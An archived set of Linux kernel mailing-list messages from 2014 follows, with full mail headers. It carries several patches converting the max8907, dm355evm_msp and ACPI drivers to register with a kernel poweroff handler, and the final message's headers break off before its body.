Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4721 gmane.linux.kernel:1802444 gmane.linux.drivers.devicetree:93034 gmane.linux.kernel.virtualization.lguest:1453 gmane.linux.acpi.devel:71267 gmane.linux.ports.alpha:2438 gmane.linux.ports.hexagon:785 gmane.linux.ports.ppc64.devel:105864 gmane.linux.ports.tegra:19467 gmane.linux.kernel.openipmi:2444 gmane.linux.uml.devel:14657 gmane.linux.ports.arm.kernel:362339 gmane.linux.ports.ia64:24474 gmane.linux.kernel.metag:305 gmane.linux.ports.mips.general:44155 gmane.linux.ports.parisc:6080 gmane.linux.power-management.general:50609 gmane.linux.ports.sh.devel:39778
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4721>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Note that this patch fixes a problem on driver unload as side effect:
The old code did not restore or clean up pm_power_off on remove,
meaning the pointer was left in an undefined state.

Cc: Lee Jones <lee.jones-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Cc: Samuel Ortiz <sameo-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 drivers/mfd/max8907.c       | 24 ++++++++++++++++++------
 include/linux/mfd/max8907.h |  2 ++
 2 files changed, 20 insertions(+), 6 deletions(-)

diff --git a/drivers/mfd/max8907.c b/drivers/mfd/max8907.c
index 232749c..b8cddc1 100644
--- a/drivers/mfd/max8907.c
+++ b/drivers/mfd/max8907.c
@@ -19,6 +19,7 @@
 #include <linux/module.h>
 #include <linux/of.h>
 #include <linux/of_device.h>
+#include <linux/pm.h>
 #include <linux/regmap.h>
 #include <linux/slab.h>
 
@@ -177,11 +178,16 @@ static const struct regmap_irq_chip max8907_rtc_irq_chip = {
 	.num_irqs = ARRAY_SIZE(max8907_rtc_irqs),
 };
 
-static struct max8907 *max8907_pm_off;
-static void max8907_power_off(void)
+static int max8907_power_off(struct notifier_block *this, unsigned long unused1,
+			     void *unused2)
 {
-	regmap_update_bits(max8907_pm_off->regmap_gen, MAX8907_REG_RESET_CNFG,
+	struct max8907 *max8907 = container_of(this, struct max8907,
+					       poweroff_nb);
+
+	regmap_update_bits(max8907->regmap_gen, MAX8907_REG_RESET_CNFG,
 			MAX8907_MASK_POWER_OFF, MAX8907_MASK_POWER_OFF);
+
+	return NOTIFY_DONE;
 }
 
 static int max8907_i2c_probe(struct i2c_client *i2c,
@@ -267,9 +273,13 @@ static int max8907_i2c_probe(struct i2c_client *i2c,
 		goto err_add_devices;
 	}
 
-	if (pm_off && !pm_power_off) {
-		max8907_pm_off = max8907;
-		pm_power_off = max8907_power_off;
+	if (pm_off) {
+		max8907->poweroff_nb.notifier_call = max8907_power_off;
+		max8907->poweroff_nb.priority = 64;
+		ret = register_poweroff_handler(&max8907->poweroff_nb);
+		if (ret)
+			dev_err(&i2c->dev,
+				"Failed to register poweroff handler");
 	}
 
 	return 0;
@@ -293,6 +303,8 @@ static int max8907_i2c_remove(struct i2c_client *i2c)
 {
 	struct max8907 *max8907 = i2c_get_clientdata(i2c);
 
+	unregister_poweroff_handler(&max8907->poweroff_nb);
+
 	mfd_remove_devices(max8907->dev);
 
 	regmap_del_irq_chip(max8907->i2c_gen->irq, max8907->irqc_rtc);
diff --git a/include/linux/mfd/max8907.h b/include/linux/mfd/max8907.h
index b06f7a6..016428e 100644
--- a/include/linux/mfd/max8907.h
+++ b/include/linux/mfd/max8907.h
@@ -13,6 +13,7 @@
 #define __LINUX_MFD_MAX8907_H
 
 #include <linux/mutex.h>
+#include <linux/notifier.h>
 #include <linux/pm.h>
 
 #define MAX8907_GEN_I2C_ADDR		(0x78 >> 1)
@@ -247,6 +248,7 @@ struct max8907 {
 	struct regmap_irq_chip_data	*irqc_chg;
 	struct regmap_irq_chip_data	*irqc_on_off;
 	struct regmap_irq_chip_data	*irqc_rtc;
+	struct notifier_block		poweroff_nb;
 };
 
 #endif
-- 
1.9.1


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 15/44] mfd: dm355evm_msp: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:17 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <1412659726-29957-16-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659818 25998 80.91.229.3 (7 Oct 2014 05:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:18 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Samuel Ortiz
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:30:08 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNLb-0002V2-8t
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:30:07 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753639AbaJGFaE (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:04 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40532 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753574AbaJGF3w (ORCPT
	<rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:29:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=fcvymCvliE01Rccz2Kc+g8IX+50uNiLnGQSwW/b3MiE=;
	b=XSU1O0KZSygB4+JEEocxObohI0NjvfV8tFnAXyg5JFE/LC0R8j4HkXflDZ9ChvG+qafWKnUb6rtjGWuiJsGluPfu8l3mK5xbmPnY9tAuHdRQI231HWywAROlkCAQLX90/K2cWnuluuXQjjpuoYuVXDMLw2RCcYvVNNnJe+wGoxQ=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLK-002c6A-U8
	for linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:29:51 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32910 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNL2-002azP-79; Tue, 07 Oct 2014 05:29:33 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020204.54337A4F.0074,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 287
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4722 gmane.linux.kernel:1802445 gmane.linux.drivers.devicetree:93035 gmane.linux.kernel.virtualization.lguest:1454 gmane.linux.acpi.devel:71268 gmane.linux.ports.alpha:2439 gmane.linux.ports.hexagon:786 gmane.linux.ports.ppc64.devel:105865 gmane.linux.ports.tegra:19468 gmane.linux.kernel.openipmi:2445 gmane.linux.uml.devel:14658 gmane.linux.ports.arm.kernel:362340 gmane.linux.ports.ia64:24475 gmane.linux.kernel.metag:306 gmane.linux.ports.mips.general:44156 gmane.linux.ports.parisc:6081 gmane.linux.power-management.general:50610 gmane.linux.ports.sh.devel:39779
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4722>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Samuel Ortiz <sameo-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>
Cc: Lee Jones <lee.jones-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 drivers/mfd/dm355evm_msp.c | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/drivers/mfd/dm355evm_msp.c b/drivers/mfd/dm355evm_msp.c
index 4c826f7..52a82f3 100644
--- a/drivers/mfd/dm355evm_msp.c
+++ b/drivers/mfd/dm355evm_msp.c
@@ -14,6 +14,8 @@
 #include <linux/platform_device.h>
 #include <linux/clk.h>
 #include <linux/module.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/err.h>
 #include <linux/gpio.h>
 #include <linux/leds.h>
@@ -352,14 +354,22 @@ static void dm355evm_command(unsigned command)
 				command, status);
 }
 
-static void dm355evm_power_off(void)
+static int dm355evm_power_off(struct notifier_block *this,
+			      unsigned long unused1, void *unused2)
 {
 	dm355evm_command(MSP_COMMAND_POWEROFF);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block dm355evm_msp_poweroff_nb = {
+	.notifier_call = dm355evm_power_off,
+	.priority = 64,
+};
+
 static int dm355evm_msp_remove(struct i2c_client *client)
 {
-	pm_power_off = NULL;
+	unregister_poweroff_handler(&dm355evm_msp_poweroff_nb);
 	msp430 = NULL;
 	return 0;
 }
@@ -398,7 +408,9 @@ dm355evm_msp_probe(struct i2c_client *client, const struct i2c_device_id *id)
 		goto fail;
 
 	/* PM hookup */
-	pm_power_off = dm355evm_power_off;
+	status = register_poweroff_handler(&dm355evm_msp_poweroff_nb);
+	if (status)
+		dev_err(&client->dev, "Failed to register poweroff handler\n");
 
 	return 0;
 
-- 
1.9.1


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 30/44] acpi: Register poweroff handler with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:32 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <1412659726-29957-31-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659834 26137 80.91.229.3 (7 Oct 2014 05:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:34 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	"Rafael J. W
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 07 07:30:24 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XbNLp-0002kW-G6
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Oct 2014 07:30:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753745AbaJGFaR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:17 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40696 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753647AbaJGFaH (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Oct 2014 01:30:07 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=49/RHmz9BKXb4x388K2Ovp6fquM9g77dOozpX2mwbPo=;
	b=b0d8RroffoZgl7UNKEOA0XcBFapMN1l5A7h4JLEYIEgXnA3Qm1Hp4tEROVb44PPWBIc/4N4bIvUm3MrZaKz/uAa+IhZFzYG/f/mLnA2VeQkX03uVkjm3FKwIgAi5Y9WLiWeP6seWL+0T/X38ZKsRM9aYE9glq3FIQPtzEMRa23g=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLa-002df7-UU
	for linux-kernel@vger.kernel.org; Tue, 07 Oct 2014 05:30:07 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32933 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLa-002dbW-C4; Tue, 07 Oct 2014 05:30:06 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A5F.0057,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 415
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1802446 gmane.linux.drivers.devicetree:93036 gmane.linux.kernel.virtualization.lguest:1455 gmane.linux.acpi.devel:71269 gmane.linux.ports.alpha:2440 gmane.linux.kernel.efi:4723 gmane.linux.ports.hexagon:787 gmane.linux.ports.ppc64.devel:105866 gmane.linux.ports.tegra:19469 gmane.linux.kernel.openipmi:2446 gmane.linux.uml.devel:14659 gmane.linux.ports.arm.kernel:362341 gmane.linux.ports.ia64:24476 gmane.linux.kernel.metag:307 gmane.linux.ports.mips.general:44157 gmane.linux.ports.parisc:6082 gmane.linux.power-management.general:50611 gmane.linux.ports.sh.devel:39780
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1802446>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with high priority value of 192 to reflect that
the driver explicitly overrides existing poweroff handlers.

Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
Cc: Len Brown <lenb@kernel.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/acpi/sleep.c | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/drivers/acpi/sleep.c b/drivers/acpi/sleep.c
index 54da4a3..25aad22 100644
--- a/drivers/acpi/sleep.c
+++ b/drivers/acpi/sleep.c
@@ -15,6 +15,8 @@
 #include <linux/dmi.h>
 #include <linux/device.h>
 #include <linux/suspend.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/acpi.h>
 #include <linux/module.h>
@@ -811,14 +813,22 @@ static void acpi_power_off_prepare(void)
 	acpi_disable_all_gpes();
 }
 
-static void acpi_power_off(void)
+static int acpi_power_off(struct notifier_block *this,
+			  unsigned long unused1, void *unused2)
 {
 	/* acpi_sleep_prepare(ACPI_STATE_S5) should have already been called */
 	printk(KERN_DEBUG "%s called\n", __func__);
 	local_irq_disable();
 	acpi_enter_sleep_state(ACPI_STATE_S5);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block acpi_poweroff_nb = {
+	.notifier_call = acpi_power_off,
+	.priority = 192,
+};
+
 int __init acpi_sleep_init(void)
 {
 	char supported[ACPI_S_STATE_COUNT * 3 + 1];
@@ -835,7 +845,8 @@ int __init acpi_sleep_init(void)
 	if (acpi_sleep_state_supported(ACPI_STATE_S5)) {
 		sleep_states[ACPI_STATE_S5] = 1;
 		pm_power_off_prepare = acpi_power_off_prepare;
-		pm_power_off = acpi_power_off;
+		if (register_poweroff_handler(&acpi_poweroff_nb))
+			pr_err("acpi: Failed to register poweroff handler\n");
 	}
 
 	supported[0] = 0;
-- 
1.9.1


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 06/44] gpio-poweroff: Drop reference to pm_power_off from devicetree bindings
Date: Mon,  6 Oct 2014 22:28:08 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <1412659726-29957-7-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659840 26247 80.91.229.3 (7 Oct 2014 05:30:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:40 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Rob Herring
To: linux-kernel@vger.kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Oct 07 07:30:31 2014
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1XbNLy-0002ou-PJ
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 07 Oct 2014 07:30:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753806AbaJGFaZ (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:25 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40840 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753766AbaJGFaU (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 7 Oct 2014 01:30:20 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=a8nffvwre76GzKAGA5GKBqSzTARe65bfOAZvqVBTm20=;
	b=rzTLL9SHibll7GxQfoXM/KVeGBVpRS/29ckgctR2fI09l2tMzsCRJAs+ZsYJI9kLfp9jdyedV/6UeTlD9aNrKHZEb/+1zbD1l15P/942y7gCG8plKO6KfqHU/T1Zq51mbiXa1zSuKBnLTpWcJj09pFXwTCobCTJuRIRMOn2k7lI=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLn-002eik-Lr
	for linux-ia64@vger.kernel.org; Tue, 07 Oct 2014 05:30:19 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32899 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKf-002Zzp-HF; Tue, 07 Oct 2014 05:29:10 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020206.54337A6C.000F,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
